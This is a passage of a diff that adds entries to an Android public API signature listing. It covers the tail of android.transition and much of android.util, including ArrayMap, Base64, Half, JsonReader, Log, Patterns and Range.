+    method public boolean isVisible(android.transition.TransitionValues);
+    method public android.animation.Animator onAppear(android.view.ViewGroup, android.transition.TransitionValues, int, android.transition.TransitionValues, int);
+    method public android.animation.Animator onAppear(android.view.ViewGroup, android.view.View, android.transition.TransitionValues, android.transition.TransitionValues);
+    method public android.animation.Animator onDisappear(android.view.ViewGroup, android.transition.TransitionValues, int, android.transition.TransitionValues, int);
+    method public android.animation.Animator onDisappear(android.view.ViewGroup, android.view.View, android.transition.TransitionValues, android.transition.TransitionValues);
+    method public void setMode(int);
+    field public static final int MODE_IN = 1; // 0x1
+    field public static final int MODE_OUT = 2; // 0x2
+  }
+
+  public abstract class VisibilityPropagation extends android.transition.TransitionPropagation {
+    ctor public VisibilityPropagation();
+    method public void captureValues(android.transition.TransitionValues);
+    method public String[] getPropagationProperties();
+    method public int getViewVisibility(android.transition.TransitionValues);
+    method public int getViewX(android.transition.TransitionValues);
+    method public int getViewY(android.transition.TransitionValues);
+  }
+
+}
+
+package android.util {
+
+  public class AndroidException extends java.lang.Exception {
+    ctor public AndroidException();
+    ctor public AndroidException(String);
+    ctor public AndroidException(String, Throwable);
+    ctor public AndroidException(Exception);
+  }
+
+  public class AndroidRuntimeException extends java.lang.RuntimeException {
+    ctor public AndroidRuntimeException();
+    ctor public AndroidRuntimeException(String);
+    ctor public AndroidRuntimeException(String, Throwable);
+    ctor public AndroidRuntimeException(Exception);
+  }
+
+  public final class ArrayMap<K, V> implements java.util.Map<K,V> {
+    ctor public ArrayMap();
+    ctor public ArrayMap(int);
+    ctor public ArrayMap(android.util.ArrayMap<K,V>);
+    method public void clear();
+    method public boolean containsAll(java.util.Collection<?>);
+    method public boolean containsKey(Object);
+    method public boolean containsValue(Object);
+    method public void ensureCapacity(int);
+    method public java.util.Set<java.util.Map.Entry<K,V>> entrySet();
+    method public V get(Object);
+    method public int indexOfKey(Object);
+    method public int indexOfValue(Object);
+    method public boolean isEmpty();
+    method public K keyAt(int);
+    method public java.util.Set<K> keySet();
+    method public V put(K, V);
+    method public void putAll(android.util.ArrayMap<? extends K,? extends V>);
+    method public void putAll(java.util.Map<? extends K,? extends V>);
+    method public V remove(Object);
+    method public boolean removeAll(java.util.Collection<?>);
+    method public V removeAt(int);
+    method public boolean retainAll(java.util.Collection<?>);
+    method public V setValueAt(int, V);
+    method public int size();
+    method public V valueAt(int);
+    method public java.util.Collection<V> values();
+  }
+
+  public final class ArraySet<E> implements java.util.Collection<E> java.util.Set<E> {
+    ctor public ArraySet();
+    ctor public ArraySet(int);
+    ctor public ArraySet(android.util.ArraySet<E>);
+    ctor public ArraySet(java.util.Collection<? extends E>);
+    ctor public ArraySet(@Nullable E[]);
+    method public boolean add(E);
+    method public void addAll(android.util.ArraySet<? extends E>);
+    method public boolean addAll(java.util.Collection<? extends E>);
+    method public void clear();
+    method public boolean contains(Object);
+    method public boolean containsAll(java.util.Collection<?>);
+    method public void ensureCapacity(int);
+    method public int indexOf(Object);
+    method public boolean isEmpty();
+    method public java.util.Iterator<E> iterator();
+    method public boolean remove(Object);
+    method public boolean removeAll(android.util.ArraySet<? extends E>);
+    method public boolean removeAll(java.util.Collection<?>);
+    method public E removeAt(int);
+    method public boolean retainAll(java.util.Collection<?>);
+    method public int size();
+    method public Object[] toArray();
+    method public <T> T[] toArray(T[]);
+    method public E valueAt(int);
+  }
+
+  public class AtomicFile {
+    ctor public AtomicFile(java.io.File);
+    method public void delete();
+    method public void failWrite(java.io.FileOutputStream);
+    method public void finishWrite(java.io.FileOutputStream);
+    method public java.io.File getBaseFile();
+    method public long getLastModifiedTime();
+    method public java.io.FileInputStream openRead() throws java.io.FileNotFoundException;
+    method public byte[] readFully() throws java.io.IOException;
+    method public java.io.FileOutputStream startWrite() throws java.io.IOException;
+  }
+
+  public interface AttributeSet {
+    method public boolean getAttributeBooleanValue(String, String, boolean);
+    method public boolean getAttributeBooleanValue(int, boolean);
+    method public int getAttributeCount();
+    method public float getAttributeFloatValue(String, String, float);
+    method public float getAttributeFloatValue(int, float);
+    method public int getAttributeIntValue(String, String, int);
+    method public int getAttributeIntValue(int, int);
+    method public int getAttributeListValue(String, String, String[], int);
+    method public int getAttributeListValue(int, String[], int);
+    method public String getAttributeName(int);
+    method public int getAttributeNameResource(int);
+    method public default String getAttributeNamespace(int);
+    method public int getAttributeResourceValue(String, String, int);
+    method public int getAttributeResourceValue(int, int);
+    method public int getAttributeUnsignedIntValue(String, String, int);
+    method public int getAttributeUnsignedIntValue(int, int);
+    method public String getAttributeValue(int);
+    method public String getAttributeValue(String, String);
+    method public String getClassAttribute();
+    method public String getIdAttribute();
+    method public int getIdAttributeResourceValue(int);
+    method public String getPositionDescription();
+    method public int getStyleAttribute();
+  }
+
+  public class Base64 {
+    method public static byte[] decode(String, int);
+    method public static byte[] decode(byte[], int);
+    method public static byte[] decode(byte[], int, int, int);
+    method public static byte[] encode(byte[], int);
+    method public static byte[] encode(byte[], int, int, int);
+    method public static String encodeToString(byte[], int);
+    method public static String encodeToString(byte[], int, int, int);
+    field public static final int CRLF = 4; // 0x4
+    field public static final int DEFAULT = 0; // 0x0
+    field public static final int NO_CLOSE = 16; // 0x10
+    field public static final int NO_PADDING = 1; // 0x1
+    field public static final int NO_WRAP = 2; // 0x2
+    field public static final int URL_SAFE = 8; // 0x8
+  }
+
+  public class Base64DataException extends java.io.IOException {
+    ctor public Base64DataException(String);
+  }
+
+  public class Base64InputStream extends java.io.FilterInputStream {
+    ctor public Base64InputStream(java.io.InputStream, int);
+    method public int available();
+    method public void reset();
+  }
+
+  public class Base64OutputStream extends java.io.FilterOutputStream {
+    ctor public Base64OutputStream(java.io.OutputStream, int);
+  }
+
+  public final class CloseGuard {
+    ctor public CloseGuard();
+    method public void close();
+    method public void open(@NonNull String);
+    method public void warnIfOpen();
+  }
+
+  @Deprecated public final class Config {
+    field @Deprecated public static final boolean DEBUG = false;
+    field @Deprecated public static final boolean LOGD = true;
+    field @Deprecated public static final boolean LOGV = false;
+    field @Deprecated public static final boolean PROFILE = false;
+    field @Deprecated public static final boolean RELEASE = true;
+  }
+
+  public class DebugUtils {
+    method public static boolean isObjectSelected(Object);
+  }
+
+  public class DisplayMetrics {
+    ctor public DisplayMetrics();
+    method public boolean equals(android.util.DisplayMetrics);
+    method public void setTo(android.util.DisplayMetrics);
+    method public void setToDefaults();
+    field public static final int DENSITY_140 = 140; // 0x8c
+    field public static final int DENSITY_180 = 180; // 0xb4
+    field public static final int DENSITY_200 = 200; // 0xc8
+    field public static final int DENSITY_220 = 220; // 0xdc
+    field public static final int DENSITY_260 = 260; // 0x104
+    field public static final int DENSITY_280 = 280; // 0x118
+    field public static final int DENSITY_300 = 300; // 0x12c
+    field public static final int DENSITY_340 = 340; // 0x154
+    field public static final int DENSITY_360 = 360; // 0x168
+    field public static final int DENSITY_400 = 400; // 0x190
+    field public static final int DENSITY_420 = 420; // 0x1a4
+    field public static final int DENSITY_440 = 440; // 0x1b8
+    field public static final int DENSITY_450 = 450; // 0x1c2
+    field public static final int DENSITY_560 = 560; // 0x230
+    field public static final int DENSITY_600 = 600; // 0x258
+    field public static final int DENSITY_DEFAULT = 160; // 0xa0
+    field public static final int DENSITY_DEVICE_STABLE;
+    field public static final int DENSITY_HIGH = 240; // 0xf0
+    field public static final int DENSITY_LOW = 120; // 0x78
+    field public static final int DENSITY_MEDIUM = 160; // 0xa0
+    field public static final int DENSITY_TV = 213; // 0xd5
+    field public static final int DENSITY_XHIGH = 320; // 0x140
+    field public static final int DENSITY_XXHIGH = 480; // 0x1e0
+    field public static final int DENSITY_XXXHIGH = 640; // 0x280
+    field public float density;
+    field public int densityDpi;
+    field public int heightPixels;
+    field public float scaledDensity;
+    field public int widthPixels;
+    field public float xdpi;
+    field public float ydpi;
+  }
+
+  public class EventLog {
+    method public static int getTagCode(String);
+    method public static String getTagName(int);
+    method public static void readEvents(int[], java.util.Collection<android.util.EventLog.Event>) throws java.io.IOException;
+    method public static int writeEvent(int, int);
+    method public static int writeEvent(int, long);
+    method public static int writeEvent(int, float);
+    method public static int writeEvent(int, String);
+    method public static int writeEvent(int, java.lang.Object...);
+  }
+
+  public static final class EventLog.Event {
+    method public Object getData();
+    method public int getProcessId();
+    method public int getTag();
+    method public int getThreadId();
+    method public long getTimeNanos();
+  }
+
+  @Deprecated public class EventLogTags {
+    ctor @Deprecated public EventLogTags() throws java.io.IOException;
+    ctor @Deprecated public EventLogTags(java.io.BufferedReader) throws java.io.IOException;
+    method @Deprecated public android.util.EventLogTags.Description get(String);
+    method @Deprecated public android.util.EventLogTags.Description get(int);
+  }
+
+  @Deprecated public static class EventLogTags.Description {
+    field @Deprecated public final String mName;
+    field @Deprecated public final int mTag;
+  }
+
+  @Deprecated public class FloatMath {
+  }
+
+  public abstract class FloatProperty<T> extends android.util.Property<T,java.lang.Float> {
+    ctor public FloatProperty(String);
+    method public final void set(T, Float);
+    method public abstract void setValue(T, float);
+  }
+
+  public final class Half extends java.lang.Number implements java.lang.Comparable<android.util.Half> {
+    ctor public Half(@HalfFloat short);
+    ctor public Half(float);
+    ctor public Half(double);
+    ctor public Half(@NonNull String) throws java.lang.NumberFormatException;
+    method @HalfFloat public static short abs(@HalfFloat short);
+    method @HalfFloat public static short ceil(@HalfFloat short);
+    method public static int compare(@HalfFloat short, @HalfFloat short);
+    method public int compareTo(@NonNull android.util.Half);
+    method @HalfFloat public static short copySign(@HalfFloat short, @HalfFloat short);
+    method public double doubleValue();
+    method public static boolean equals(@HalfFloat short, @HalfFloat short);
+    method public float floatValue();
+    method @HalfFloat public static short floor(@HalfFloat short);
+    method public static int getExponent(@HalfFloat short);
+    method public static int getSign(@HalfFloat short);
+    method public static int getSignificand(@HalfFloat short);
+    method public static boolean greater(@HalfFloat short, @HalfFloat short);
+    method public static boolean greaterEquals(@HalfFloat short, @HalfFloat short);
+    method public static int halfToIntBits(@HalfFloat short);
+    method public static int halfToRawIntBits(@HalfFloat short);
+    method @HalfFloat public static short halfToShortBits(@HalfFloat short);
+    method @HalfFloat public short halfValue();
+    method public static int hashCode(@HalfFloat short);
+    method @HalfFloat public static short intBitsToHalf(int);
+    method public int intValue();
+    method public static boolean isInfinite(@HalfFloat short);
+    method public boolean isNaN();
+    method public static boolean isNaN(@HalfFloat short);
+    method public static boolean isNormalized(@HalfFloat short);
+    method public static boolean less(@HalfFloat short, @HalfFloat short);
+    method public static boolean lessEquals(@HalfFloat short, @HalfFloat short);
+    method public long longValue();
+    method @HalfFloat public static short max(@HalfFloat short, @HalfFloat short);
+    method @HalfFloat public static short min(@HalfFloat short, @HalfFloat short);
+    method @HalfFloat public static short parseHalf(@NonNull String) throws java.lang.NumberFormatException;
+    method @HalfFloat public static short round(@HalfFloat short);
+    method public static float toFloat(@HalfFloat short);
+    method @HalfFloat public static short toHalf(float);
+    method @NonNull public static String toHexString(@HalfFloat short);
+    method @NonNull public static String toString(@HalfFloat short);
+    method @HalfFloat public static short trunc(@HalfFloat short);
+    method @NonNull public static android.util.Half valueOf(@HalfFloat short);
+    method @NonNull public static android.util.Half valueOf(float);
+    method @NonNull public static android.util.Half valueOf(@NonNull String);
+    field @HalfFloat public static final short EPSILON = 5120; // 0x1400
+    field @HalfFloat public static final short LOWEST_VALUE = -1025; // 0xfffffbff
+    field public static final int MAX_EXPONENT = 15; // 0xf
+    field @HalfFloat public static final short MAX_VALUE = 31743; // 0x7bff
+    field public static final int MIN_EXPONENT = -14; // 0xfffffff2
+    field @HalfFloat public static final short MIN_NORMAL = 1024; // 0x400
+    field @HalfFloat public static final short MIN_VALUE = 1; // 0x1
+    field @HalfFloat public static final short NEGATIVE_INFINITY = -1024; // 0xfffffc00
+    field @HalfFloat public static final short NEGATIVE_ZERO = -32768; // 0xffff8000
+    field @HalfFloat public static final short NaN = 32256; // 0x7e00
+    field @HalfFloat public static final short POSITIVE_INFINITY = 31744; // 0x7c00
+    field @HalfFloat public static final short POSITIVE_ZERO = 0; // 0x0
+    field public static final int SIZE = 16; // 0x10
+  }
+
+  public abstract class IntProperty<T> extends android.util.Property<T,java.lang.Integer> {
+    ctor public IntProperty(String);
+    method public final void set(T, Integer);
+    method public abstract void setValue(T, int);
+  }
+
+  public final class JsonReader implements java.io.Closeable {
+    ctor public JsonReader(java.io.Reader);
+    method public void beginArray() throws java.io.IOException;
+    method public void beginObject() throws java.io.IOException;
+    method public void close() throws java.io.IOException;
+    method public void endArray() throws java.io.IOException;
+    method public void endObject() throws java.io.IOException;
+    method public boolean hasNext() throws java.io.IOException;
+    method public boolean isLenient();
+    method public boolean nextBoolean() throws java.io.IOException;
+    method public double nextDouble() throws java.io.IOException;
+    method public int nextInt() throws java.io.IOException;
+    method public long nextLong() throws java.io.IOException;
+    method public String nextName() throws java.io.IOException;
+    method public void nextNull() throws java.io.IOException;
+    method public String nextString() throws java.io.IOException;
+    method public android.util.JsonToken peek() throws java.io.IOException;
+    method public void setLenient(boolean);
+    method public void skipValue() throws java.io.IOException;
+  }
+
+  public enum JsonToken {
+    enum_constant public static final android.util.JsonToken BEGIN_ARRAY;
+    enum_constant public static final android.util.JsonToken BEGIN_OBJECT;
+    enum_constant public static final android.util.JsonToken BOOLEAN;
+    enum_constant public static final android.util.JsonToken END_ARRAY;
+    enum_constant public static final android.util.JsonToken END_DOCUMENT;
+    enum_constant public static final android.util.JsonToken END_OBJECT;
+    enum_constant public static final android.util.JsonToken NAME;
+    enum_constant public static final android.util.JsonToken NULL;
+    enum_constant public static final android.util.JsonToken NUMBER;
+    enum_constant public static final android.util.JsonToken STRING;
+  }
+
+  public final class JsonWriter implements java.io.Closeable {
+    ctor public JsonWriter(java.io.Writer);
+    method public android.util.JsonWriter beginArray() throws java.io.IOException;
+    method public android.util.JsonWriter beginObject() throws java.io.IOException;
+    method public void close() throws java.io.IOException;
+    method public android.util.JsonWriter endArray() throws java.io.IOException;
+    method public android.util.JsonWriter endObject() throws java.io.IOException;
+    method public void flush() throws java.io.IOException;
+    method public boolean isLenient();
+    method public android.util.JsonWriter name(String) throws java.io.IOException;
+    method public android.util.JsonWriter nullValue() throws java.io.IOException;
+    method public void setIndent(String);
+    method public void setLenient(boolean);
+    method public android.util.JsonWriter value(String) throws java.io.IOException;
+    method public android.util.JsonWriter value(boolean) throws java.io.IOException;
+    method public android.util.JsonWriter value(double) throws java.io.IOException;
+    method public android.util.JsonWriter value(long) throws java.io.IOException;
+    method public android.util.JsonWriter value(Number) throws java.io.IOException;
+  }
+
+  public final class LayoutDirection {
+    field public static final int INHERIT = 2; // 0x2
+    field public static final int LOCALE = 3; // 0x3
+    field public static final int LTR = 0; // 0x0
+    field public static final int RTL = 1; // 0x1
+  }
+
+  public final class Log {
+    method public static int d(@Nullable String, @NonNull String);
+    method public static int d(@Nullable String, @Nullable String, @Nullable Throwable);
+    method public static int e(@Nullable String, @NonNull String);
+    method public static int e(@Nullable String, @Nullable String, @Nullable Throwable);
+    method @NonNull public static String getStackTraceString(@Nullable Throwable);
+    method public static int i(@Nullable String, @NonNull String);
+    method public static int i(@Nullable String, @Nullable String, @Nullable Throwable);
+    method public static boolean isLoggable(@Nullable @Size(max=23, apis="..23") String, int);
+    method public static int println(int, @Nullable String, @NonNull String);
+    method public static int v(@Nullable String, @NonNull String);
+    method public static int v(@Nullable String, @Nullable String, @Nullable Throwable);
+    method public static int w(@Nullable String, @NonNull String);
+    method public static int w(@Nullable String, @Nullable String, @Nullable Throwable);
+    method public static int w(@Nullable String, @Nullable Throwable);
+    method public static int wtf(@Nullable String, @Nullable String);
+    method public static int wtf(@Nullable String, @NonNull Throwable);
+    method public static int wtf(@Nullable String, @Nullable String, @Nullable Throwable);
+    field public static final int ASSERT = 7; // 0x7
+    field public static final int DEBUG = 3; // 0x3
+    field public static final int ERROR = 6; // 0x6
+    field public static final int INFO = 4; // 0x4
+    field public static final int VERBOSE = 2; // 0x2
+    field public static final int WARN = 5; // 0x5
+  }
+
+  public class LogPrinter implements android.util.Printer {
+    ctor public LogPrinter(int, String);
+    method public void println(String);
+  }
+
+  public class LongSparseArray<E> implements java.lang.Cloneable {
+    ctor public LongSparseArray();
+    ctor public LongSparseArray(int);
+    method public void append(long, E);
+    method public void clear();
+    method public android.util.LongSparseArray<E> clone();
+    method public void delete(long);
+    method public E get(long);
+    method public E get(long, E);
+    method public int indexOfKey(long);
+    method public int indexOfValue(E);
+    method public long keyAt(int);
+    method public void put(long, E);
+    method public void remove(long);
+    method public void removeAt(int);
+    method public void setValueAt(int, E);
+    method public int size();
+    method public E valueAt(int);
+  }
+
+  public class LruCache<K, V> {
+    ctor public LruCache(int);
+    method protected V create(K);
+    method public final int createCount();
+    method protected void entryRemoved(boolean, K, V, V);
+    method public final void evictAll();
+    method public final int evictionCount();
+    method public final V get(K);
+    method public final int hitCount();
+    method public final int maxSize();
+    method public final int missCount();
+    method public final V put(K, V);
+    method public final int putCount();
+    method public final V remove(K);
+    method public void resize(int);
+    method public final int size();
+    method protected int sizeOf(K, V);
+    method public final java.util.Map<K,V> snapshot();
+    method public final String toString();
+    method public void trimToSize(int);
+  }
+
+  public final class MalformedJsonException extends java.io.IOException {
+    ctor public MalformedJsonException(String);
+  }
+
+  public class MonthDisplayHelper {
+    ctor public MonthDisplayHelper(int, int, int);
+    ctor public MonthDisplayHelper(int, int);
+    method public int getColumnOf(int);
+    method public int getDayAt(int, int);
+    method public int[] getDigitsForRow(int);
+    method public int getFirstDayOfMonth();
+    method public int getMonth();
+    method public int getNumberOfDaysInMonth();
+    method public int getOffset();
+    method public int getRowOf(int);
+    method public int getWeekStartDay();
+    method public int getYear();
+    method public boolean isWithinCurrentMonth(int, int);
+    method public void nextMonth();
+    method public void previousMonth();
+  }
+
+  @Deprecated public final class MutableBoolean {
+    ctor @Deprecated public MutableBoolean(boolean);
+    field @Deprecated public boolean value;
+  }
+
+  @Deprecated public final class MutableByte {
+    ctor @Deprecated public MutableByte(byte);
+    field @Deprecated public byte value;
+  }
+
+  @Deprecated public final class MutableChar {
+    ctor @Deprecated public MutableChar(char);
+    field @Deprecated public char value;
+  }
+
+  @Deprecated public final class MutableDouble {
+    ctor @Deprecated public MutableDouble(double);
+    field @Deprecated public double value;
+  }
+
+  @Deprecated public final class MutableFloat {
+    ctor @Deprecated public MutableFloat(float);
+    field @Deprecated public float value;
+  }
+
+  @Deprecated public final class MutableInt {
+    ctor @Deprecated public MutableInt(int);
+    field @Deprecated public int value;
+  }
+
+  @Deprecated public final class MutableLong {
+    ctor @Deprecated public MutableLong(long);
+    field @Deprecated public long value;
+  }
+
+  @Deprecated public final class MutableShort {
+    ctor @Deprecated public MutableShort(short);
+    field @Deprecated public short value;
+  }
+
+  public class NoSuchPropertyException extends java.lang.RuntimeException {
+    ctor public NoSuchPropertyException(String);
+  }
+
+  public class Pair<F, S> {
+    ctor public Pair(F, S);
+    method public static <A, B> android.util.Pair<A,B> create(A, B);
+    field public final F first;
+    field public final S second;
+  }
+
+  public class Patterns {
+    method public static final String concatGroups(java.util.regex.Matcher);
+    method public static final String digitsAndPlusOnly(java.util.regex.Matcher);
+    field public static final java.util.regex.Pattern DOMAIN_NAME;
+    field public static final java.util.regex.Pattern EMAIL_ADDRESS;
+    field @Deprecated public static final String GOOD_IRI_CHAR = "a-zA-Z0-9\u00a0-\ud7ff\uf900-\ufdcf\ufdf0-\uffef";
+    field @Deprecated public static final java.util.regex.Pattern IP_ADDRESS;
+    field public static final java.util.regex.Pattern PHONE;
+    field @Deprecated public static final java.util.regex.Pattern TOP_LEVEL_DOMAIN;
+    field @Deprecated public static final String TOP_LEVEL_DOMAIN_STR = "((aero|arpa|asia|a[cdefgilmnoqrstuwxz])|(biz|b[abdefghijmnorstvwyz])|(cat|com|coop|c[acdfghiklmnoruvxyz])|d[ejkmoz]|(edu|e[cegrstu])|f[ijkmor]|(gov|g[abdefghilmnpqrstuwy])|h[kmnrtu]|(info|int|i[delmnoqrst])|(jobs|j[emop])|k[eghimnprwyz]|l[abcikrstuvy]|(mil|mobi|museum|m[acdeghklmnopqrstuvwxyz])|(name|net|n[acefgilopruz])|(org|om)|(pro|p[aefghklmnrstwy])|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|(tel|travel|t[cdfghjklmnoprtvwz])|u[agksyz]|v[aceginu]|w[fs]|(\u03b4\u03bf\u03ba\u03b9\u03bc\u03ae|\u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u0435|\u0440\u0444|\u0441\u0440\u0431|\u05d8\u05e2\u05e1\u05d8|\u0622\u0632\u0645\u0627\u06cc\u0634\u06cc|\u0625\u062e\u062a\u0628\u0627\u0631|\u0627\u0644\u0627\u0631\u062f\u0646|\u0627\u0644\u062c\u0632\u0627\u0626\u0631|\u0627\u0644\u0633\u0639\u0648\u062f\u064a\u0629|\u0627\u0644\u0645\u063a\u0631\u0628|\u0627\u0645\u0627\u0631\u0627\u062a|\u0628\u06be\u0627\u0631\u062a|\u062a\u0648\u0646\u0633|\u0633\u0648\u0631\u064a\u0629|\u0641\u0644\u0633\u0637\u064a\u0646|\u0642\u0637\u0631|\u0645\u0635\u0631|\u092a\u0930\u0940\u0915\u094d\u0937\u093e|\u092d\u093e\u0930\u0924|\u09ad\u09be\u09b0\u09a4|\u0a2d\u0a3e\u0a30\u0a24|\u0aad\u0abe\u0ab0\u0aa4|\u0b87\u0ba8\u0bcd\u0ba4\u0bbf\u0baf\u0bbe|\u0b87\u0bb2\u0b99\u0bcd\u0b95\u0bc8|\u0b9a\u0bbf\u0b99\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0bc2\u0bb0\u0bcd|\u0baa\u0bb0\u0bbf\u0b9f\u0bcd\u0b9a\u0bc8|\u0c2d\u0c3e\u0c30\u0c24\u0c4d|\u0dbd\u0d82\u0d9a\u0dcf|\u0e44\u0e17\u0e22|\u30c6\u30b9\u30c8|\u4e2d\u56fd|\u4e2d\u570b|\u53f0\u6e7e|\u53f0\u7063|\u65b0\u52a0\u5761|\u6d4b\u8bd5|\u6e2c\u8a66|\u9999\u6e2f|\ud14c\uc2a4\ud2b8|\ud55c\uad6d|xn\\-\\-0zwm56d|xn\\-\\-11b5bs3a9aj6g|xn\\-\\-3e0b707e|xn\\-\\-45brj9c|xn\\-\\-80akhbyknj4f|xn\\-\\-90a3ac|xn\\-\\-9t4b11yi5a|xn\\-\\-clchc0ea0b2g2a9gcd|xn\\-\\-deba0ad|xn\\-\\-fiqs8s|xn\\-\\-fiqz9s|xn\\-\\-fpcrj9c3d|xn\\-\\-fzc2c9e2c|xn\\-\\-g6w251d|xn\\-\\-gecrj9c|xn\\-\\-h2brj9c|xn\\-\\-hgbk6aj7f53bba|xn\\-\\-hlcj6aya9esc7a|xn\\-\\-j6w193g|xn\\-\\-jxalpdlp|xn\\-\\-kgbechtv|xn\\-\\-kprw13d|xn\\-\\-kpry57d|xn\\-\\-lgbbat1ad8j|xn\\-\\-mgbaam7a8h|xn\\-\\-mgbayh7gpa|xn\\-\\-mgbbh1a71e|xn\\-\\-mgbc0a9azcg|xn\\-\\-mgberp4a5d4ar|xn\\-\\-o3cw4h|xn\\-\\-ogbpf8fl|xn\\-\\-p1ai|xn\\-\\-pgbs0dh|xn\\-\\-s9brj9c|xn\\-\\-wgbh1c|xn\\-\\-wgbl6a|xn\\-\\-xkc2al3hye2a|xn\\-\\-xkc2dl3a5ee0h|xn\\-\\-yfro4i67o|xn\\-\\-ygbi2ammx|xn\\-\\-zckzah|xxx)|y[et]|z[amw])";
+    field @Deprecated public static final String TOP_LEVEL_DOMAIN_STR_FOR_WEB_URL = "(?:(?:aero|arpa|asia|a[cdefgilmnoqrstuwxz])|(?:biz|b[abdefghijmnorstvwyz])|(?:cat|com|coop|c[acdfghiklmnoruvxyz])|d[ejkmoz]|(?:edu|e[cegrstu])|f[ijkmor]|(?:gov|g[abdefghilmnpqrstuwy])|h[kmnrtu]|(?:info|int|i[delmnoqrst])|(?:jobs|j[emop])|k[eghimnprwyz]|l[abcikrstuvy]|(?:mil|mobi|museum|m[acdeghklmnopqrstuvwxyz])|(?:name|net|n[acefgilopruz])|(?:org|om)|(?:pro|p[aefghklmnrstwy])|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|(?:tel|travel|t[cdfghjklmnoprtvwz])|u[agksyz]|v[aceginu]|w[fs]|(?:\u03b4\u03bf\u03ba\u03b9\u03bc\u03ae|\u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u0435|\u0440\u0444|\u0441\u0440\u0431|\u05d8\u05e2\u05e1\u05d8|\u0622\u0632\u0645\u0627\u06cc\u0634\u06cc|\u0625\u062e\u062a\u0628\u0627\u0631|\u0627\u0644\u0627\u0631\u062f\u0646|\u0627\u0644\u062c\u0632\u0627\u0626\u0631|\u0627\u0644\u0633\u0639\u0648\u062f\u064a\u0629|\u0627\u0644\u0645\u063a\u0631\u0628|\u0627\u0645\u0627\u0631\u0627\u062a|\u0628\u06be\u0627\u0631\u062a|\u062a\u0648\u0646\u0633|\u0633\u0648\u0631\u064a\u0629|\u0641\u0644\u0633\u0637\u064a\u0646|\u0642\u0637\u0631|\u0645\u0635\u0631|\u092a\u0930\u0940\u0915\u094d\u0937\u093e|\u092d\u093e\u0930\u0924|\u09ad\u09be\u09b0\u09a4|\u0a2d\u0a3e\u0a30\u0a24|\u0aad\u0abe\u0ab0\u0aa4|\u0b87\u0ba8\u0bcd\u0ba4\u0bbf\u0baf\u0bbe|\u0b87\u0bb2\u0b99\u0bcd\u0b95\u0bc8|\u0b9a\u0bbf\u0b99\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0bc2\u0bb0\u0bcd|\u0baa\u0bb0\u0bbf\u0b9f\u0bcd\u0b9a\u0bc8|\u0c2d\u0c3e\u0c30\u0c24\u0c4d|\u0dbd\u0d82\u0d9a\u0dcf|\u0e44\u0e17\u0e22|\u30c6\u30b9\u30c8|\u4e2d\u56fd|\u4e2d\u570b|\u53f0\u6e7e|\u53f0\u7063|\u65b0\u52a0\u5761|\u6d4b\u8bd5|\u6e2c\u8a66|\u9999\u6e2f|\ud14c\uc2a4\ud2b8|\ud55c\uad6d|xn\\-\\-0zwm56d|xn\\-\\-11b5bs3a9aj6g|xn\\-\\-3e0b707e|xn\\-\\-45brj9c|xn\\-\\-80akhbyknj4f|xn\\-\\-90a3ac|xn\\-\\-9t4b11yi5a|xn\\-\\-clchc0ea0b2g2a9gcd|xn\\-\\-deba0ad|xn\\-\\-fiqs8s|xn\\-\\-fiqz9s|xn\\-\\-fpcrj9c3d|xn\\-\\-fzc2c9e2c|xn\\-\\-g6w251d|xn\\-\\-gecrj9c|xn\\-\\-h2brj9c|xn\\-\\-hgbk6aj7f53bba|xn\\-\\-hlcj6aya9esc7a|xn\\-\\-j6w193g|xn\\-\\-jxalpdlp|xn\\-\\-kgbechtv|xn\\-\\-kprw13d|xn\\-\\-kpry57d|xn\\-\\-lgbbat1ad8j|xn\\-\\-mgbaam7a8h|xn\\-\\-mgbayh7gpa|xn\\-\\-mgbbh1a71e|xn\\-\\-mgbc0a9azcg|xn\\-\\-mgberp4a5d4ar|xn\\-\\-o3cw4h|xn\\-\\-ogbpf8fl|xn\\-\\-p1ai|xn\\-\\-pgbs0dh|xn\\-\\-s9brj9c|xn\\-\\-wgbh1c|xn\\-\\-wgbl6a|xn\\-\\-xkc2al3hye2a|xn\\-\\-xkc2dl3a5ee0h|xn\\-\\-yfro4i67o|xn\\-\\-ygbi2ammx|xn\\-\\-zckzah|xxx)|y[et]|z[amw]))";
+    field public static final java.util.regex.Pattern WEB_URL;
+  }
+
+  public class PrintStreamPrinter implements android.util.Printer {
+    ctor public PrintStreamPrinter(java.io.PrintStream);
+    method public void println(String);
+  }
+
+  public class PrintWriterPrinter implements android.util.Printer {
+    ctor public PrintWriterPrinter(java.io.PrintWriter);
+    method public void println(String);
+  }
+
+  public interface Printer {
+    method public void println(String);
+  }
+
+  public abstract class Property<T, V> {
+    ctor public Property(Class<V>, String);
+    method public abstract V get(T);
+    method public String getName();
+    method public Class<V> getType();
+    method public boolean isReadOnly();
+    method public static <T, V> android.util.Property<T,V> of(Class<T>, Class<V>, String);
+    method public void set(T, V);
+  }
+
+  public final class Range<T extends java.lang.Comparable<? super T>> {
+    ctor public Range(T, T);
+    method public T clamp(T);
+    method public boolean contains(T);
+    method public boolean contains(android.util.Range<T>);
+    method public static <T extends java.lang.Comparable<? super T>> android.util.Range<T> create(T, T);
+    method public android.util.Range<T> extend(android.util.Range<T>);
+    method public android.util.Range<T> extend(T, T);
+    method public android.util.Range<T> extend(T);
+    method public T getLower();
+    method public T getUpper();
+    method public android.util.Range<T> intersect(android.util.Range<T>);
+    method public android.util.Range<T> intersect(T, T);
+  }
+
+  public final class Rational extends java.lang.Number implements java.lang.Comparable<android.util.Rational> {
+    ctor public Rational(int, int);
+    method public int compareTo(android.util.Rational);
+    method public double doubleValue();
+    method public float floatValue();
+    method public int getDenominator();
+    method public int getNumerator();
+    method public int intValue();
+    method public boolean isFinite();
+    method public boolean isInfinite();
+    method public boolean isNaN();
+    method public boolean isZero();
+    method public long longValue();
+    method public static android.util.Rational parseRational(String) throws java.lang.NumberFormatException;
+    field public static final android.util.Rational NEGATIVE_INFINITY;
+    field public static final android.util.Rational NaN;
+    field public static final android.util.Rational POSITIVE_INFINITY;
+    field public static final android.util.Rational ZERO;
+  }
+
+  public final class Size {
+    ctor public Size(int, int);
+    method public int getHeight();
+    method public int getWidth();
+    method public static android.util.Size parseSize(String) throws java.lang.NumberFormatException;
+  }
+
+  public final class SizeF implements android.os.Parcelable {
+    ctor public SizeF(float, float);
+    method public int describeContents();
+    method public float getHeight();
+    method public float getWidth();
